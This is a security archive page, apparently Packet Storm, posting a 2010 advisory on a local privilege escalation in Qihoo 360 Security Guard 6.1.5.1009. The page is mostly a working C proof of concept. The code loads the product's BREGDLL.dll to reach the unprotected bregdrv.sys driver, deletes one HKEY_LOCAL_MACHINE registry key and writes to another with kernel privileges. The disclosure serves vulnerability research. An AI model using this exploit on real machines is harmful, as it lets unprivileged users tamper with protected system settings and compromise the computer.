exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Qihoo 360 Security Guard 6.1.5.1009 Privilege Escalation

Qihoo 360 Security Guard 6.1.5.1009 Privilege Escalation
Posted Feb 2, 2010

Qihoo 360 Security Guard version 6.1.5.1009 suffers from a local privilege escalation vulnerability.

tags | exploit, local
SHA-256 | 88adf3a87b6b6a7b38d9262912880441f178fb117cd6a833f8a51b1e8b16f6d6

Qihoo 360 Security Guard 6.1.5.1009 Privilege Escalation

Change Mirror Download
Vendor            : Qihoo 360
Affected Software : 360 Security Guard 6.1.5.1009


Description:

Qihoo 360 Security Guard is very famous in China.

Some vulnerabilities have been reported in Qihoo 360 Security Guard, which can be exploited by malicious, local users to gain escalated privileges.

An error in the kernel-mode driver (bregdrv.sys) when handling input passed through the user-mode dynamic link library (bregdll.dll) can be exploited to

read/write/modification registry in kernel mode.

An attacker can exploit this issue to read/write/modification registry with kernel-level privileges. Successful exploits will result in the complete

compromise of affected computers.


Details:

The kernel-mode driver (bregdrv.sys) use CmXxx series functions to read/write/modification registry with kernel-level privileges, bregdll.dll wrappers

implementation, the bregdll.dll improperly validating input passed from user mode to the kernel. All users can obtain handle of unprotected device

bregdrv.sys to read/write/modification registry with kernel-level privileges.


POC:

#include <windows.h>

typedef BOOL (WINAPI *INIT_REG_ENGINE)();
typedef LONG (WINAPI *BREG_DELETE_KEY)(HKEY hKey, LPCSTR lpSubKey);
typedef LONG (WINAPI *BREG_OPEN_KEY)(HKEY hKey, LPCSTR lpSubKey, PHKEY phkResult);
typedef LONG (WINAPI *BREG_CLOSE_KEY)(HKEY hKey);
typedef LONG (WINAPI *REG_SET_VALUE_EX)(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE* lpData, DWORD cbData);

BREG_DELETE_KEY BRegDeleteKey = NULL;
BREG_OPEN_KEY BRegOpenKey = NULL;
BREG_CLOSE_KEY BRegCloseKey = NULL;
REG_SET_VALUE_EX BRegSetValueEx = NULL;

#define AppPath "Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\360safe.exe"

#define TestDeleteKey HKEY_LOCAL_MACHINE
#define TestDeleteRegPath "Software\\360Safe\\Update"

#define TestSetKey HKEY_LOCAL_MACHINE
#define TestSetPath "Software\\360Safe"

BOOL InitBRegDll()
{
LONG lResult;
HKEY hKey;

CHAR cPath[MAX_PATH + 32] = { 0 };
DWORD dwPathLen = MAX_PATH;

lResult = RegOpenKeyA(HKEY_LOCAL_MACHINE, AppPath, &hKey);
if (FAILED(lResult))
return FALSE;

DWORD dwType = REG_SZ;
lResult = RegQueryValueExA(hKey, "Path", NULL, &dwType, (LPBYTE)cPath, &dwPathLen);
RegCloseKey(hKey);
if (FAILED(lResult))
return FALSE;

strcat(cPath, "\\deepscan\\BREGDLL.dll");

HMODULE modBReg = LoadLibraryA(cPath);
if (!modBReg)
return FALSE;

INIT_REG_ENGINE InitRegEngine = (INIT_REG_ENGINE)GetProcAddress(modBReg, "InitRegEngine");
BRegDeleteKey = (BREG_DELETE_KEY)GetProcAddress(modBReg, "BRegDeleteKey");
BRegOpenKey = (BREG_OPEN_KEY)GetProcAddress(modBReg, "BRegOpenKey");
BRegCloseKey = (BREG_CLOSE_KEY)GetProcAddress(modBReg, "BRegCloseKey");
BRegSetValueEx = (REG_SET_VALUE_EX)GetProcAddress(modBReg, "BRegSetValueEx");

if (!InitRegEngine || !BRegDeleteKey || !BRegOpenKey || !BRegCloseKey || !BRegSetValueEx) {
FreeLibrary(modBReg);
return FALSE;
}

if (!InitRegEngine()) {
FreeLibrary(modBReg);
return FALSE;
}

return TRUE;
}

LONG TestSetRegKey()
{
HKEY hKey;
LONG lResult;

lResult = BRegOpenKey(TestSetKey, TestSetPath, &hKey);
if (FAILED(lResult))
return lResult;

DWORD dwType = REG_SZ;
static char szData[] = "TEST VALUE";
lResult = BRegSetValueEx(hKey, TestSetPath, NULL, dwType, (const BYTE *)&szData, (DWORD)sizeof(szData));
BRegCloseKey(hKey);

return lResult;
}

int main(int argc, char *argv[])
{
if (!InitBRegDll()) {
MessageBoxA(NULL, "Initialization BReg error!", "error", MB_ICONSTOP);
return 1;
}

if (FAILED(BRegDeleteKey(TestDeleteKey, TestDeleteRegPath))) {
MessageBoxA(NULL, "DeleteKey error!", "error", MB_ICONSTOP);
return 2;
}

if (FAILED(TestSetRegKey())) {
MessageBoxA(NULL, "SetRegKey error!", "error", MB_ICONSTOP);
return 3;
}

MessageBoxA(NULL, "Broke System Security Check,Gain Escalated Privileges,Successful exploit!", "Successful", MB_OK);
return 0;
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close